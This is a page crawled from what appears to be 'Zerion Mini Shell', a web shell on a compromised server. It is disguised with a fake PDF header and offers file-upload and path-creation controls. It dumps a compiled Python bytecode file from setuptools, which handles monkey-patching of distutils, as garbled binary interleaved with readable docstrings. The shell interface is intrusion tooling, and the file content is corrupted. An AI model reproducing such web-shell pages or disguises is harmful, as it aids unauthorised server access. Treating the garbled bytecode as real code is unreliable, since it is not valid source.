%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/setuptools/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/setuptools/__pycache__/monkey.cpython-312.pyc

�


_�dN���dZddlZddlZddlZddlZddlZddlmZddl	Z	ddl
Z
gZ	d�Zd�Z
d�Zd�Zd�Zd	�Zd
�Zd�Zy)z
Monkey patching of distutils.
�N)�
import_modulec�z�tj�dk(r|f|jzStj|�S)am
    Returns the bases classes for cls sorted by the MRO.

    Works around an issue on Jython where inspect.getmro will not return all
    base classes if multiple classes share the same name. Instead, this
    function will return a tuple containing the class itself, and the contents
    of cls.__bases__. See https://github.com/pypa/setuptools/issues/1024.
    �Jython)�platform�python_implementation�	__bases__�inspect�getmro)�clss �3/usr/lib/python3/dist-packages/setuptools/monkey.py�_get_mror
s5���%�%�'�8�3��v��
�
�%�%��>�>�#���c��t|t�rtn"t|tj�rt
nd�}||�S)Nc��y)N�)�items r�<lambda>zget_unpatched.<locals>.<lambda>*s�r)�
isinstance�type�get_unpatched_class�types�FunctionType�get_unpatched_function)r�lookups  r�
get_unpatchedr$s>���d�D�!�	��d�E�.�.�/�$�
���$�<�rc��d�t|�D�}t|�}|jjd�sd|z}t	|��|S)z�Protect against re-patching the distutils if reloaded

    Also ensures that no other distutils extension monkeypatched the distutils
    first.
    c3�XK�|]"}|jjd�r�|���$y�w)�
setuptoolsN)�
__module__�
startswith)�.0rs  r�	<genexpr>z&get_unpatched_class.<locals>.<genexpr>5s&������C�N�N�,E�,E�l�,S���s� *�*�	distutilsz(distutils has already been patched by %r)r
�nextrr �AssertionError)r�external_bases�base�msgs    rrr/sM�����}��N����D��?�?�%�%�k�2�8�3�>���S�!�!��Krc��tjtj_tj
dk}|r#tjtj_dtj
cxkxrdkncxsdtj
cxkxrdknc}|r!d}|tjj_
t�tjtjtjfD]!}tjj|_�#tjj tj_tjj tj_dtj"vr0tjj tj"d_t%�y)N)��r*)r*�)r*r,�)r*r+zhttps://upload.pypi.org/legacy/zdistutils.command.build_ext)r�Commandr#�core�sys�version_info�findall�filelist�config�
PyPIRCCommand�DEFAULT_REPOSITORY�_patch_distribution_metadata�dist�cmd�Distribution�	extension�	Extension�modules�#patch_for_msvc_specialized_compiler)�has_issue_12885�needs_warehouse�	warehouse�modules    r�	patch_allrC?s<��'�/�/�I�N�N���&�&�)�3�O��%/�%7�%7�	���"��s�/�/�;�)�;�&�@�	���@&�&�@&�O�
�5�	�<E�	���&�&�9� �"��.�.�)�.�.�)�-�-�?�;��(�o�o�:�:���;� *�3�3�=�=�I�N�N��$.�$8�$8�$B�$B�I���!�$����3�!�*�*�4�4�	���)�	
�
�'�)rc��dD]A}ttj|�}ttjj
||��Cy)zDPatch write_pkg_file and read_pkg_file for higher metadata standards)�write_pkg_file�
read_pkg_file�get_metadata_versionN)�getattrrr8�setattrr#�DistributionMetadata)�attr�new_vals  rr7r7cs9��K�D���*�/�/�4�0���	���3�3�T�7�C�Drc�l�t||�}t|�jd|�t|||�y)z�
    Patch func_name in target_mod with replacement

    Important - original must be resolved by name to avoid
    patching an already patched function.
    �	unpatchedN)rH�vars�
setdefaultrI)�replacement�
target_mod�	func_name�originals    r�
patch_funcrUjs5���z�9�-�H�	��� � ��h�7��J�	�;�/rc��t|d�S)NrN)rH)�	candidates rrr{s���9�k�*�*rc���td��tj�dk7ry�fd�}tj|d�}	t|d��y#t$rYywxYw)z\
    Patch functions in distutils to use standalone Microsoft Visual C++
    compilers.
    zsetuptools.msvc�WindowsNc���d}||jd�z}t�|�}t|�}t||�st	|��|||fS)zT
        Prepare the parameters for patch_func to patch indicated function.
        �msvc14_�_)�lstriprHr�hasattr�ImportError)�mod_namerS�repl_prefix�	repl_name�repl�mod�msvcs      �r�patch_paramsz9patch_for_msvc_specialized_compiler.<locals>.patch_params�sW��� ���)�"2�"2�3�"7�7�	��t�Y�'���H�%���s�I�&��i�(�(��S�)�#�#rzdistutils._msvccompiler�_get_vc_env)rr�system�	functools�partialrUr_)rf�msvc14res  @rr>r>s`����*�+�D�����I�%��
$��
�
�|�-F�
G�F�
��F�=�)�*���
��
�s�A�	A�A)�__doc__r0�distutils.filelistr#rrri�	importlibrr	r�__all__r
rrrCr7rUrr>rrr�<module>rpsX��������#���
�����
� !*�HD�0�"+�
r

Zerion Mini Shell 1.0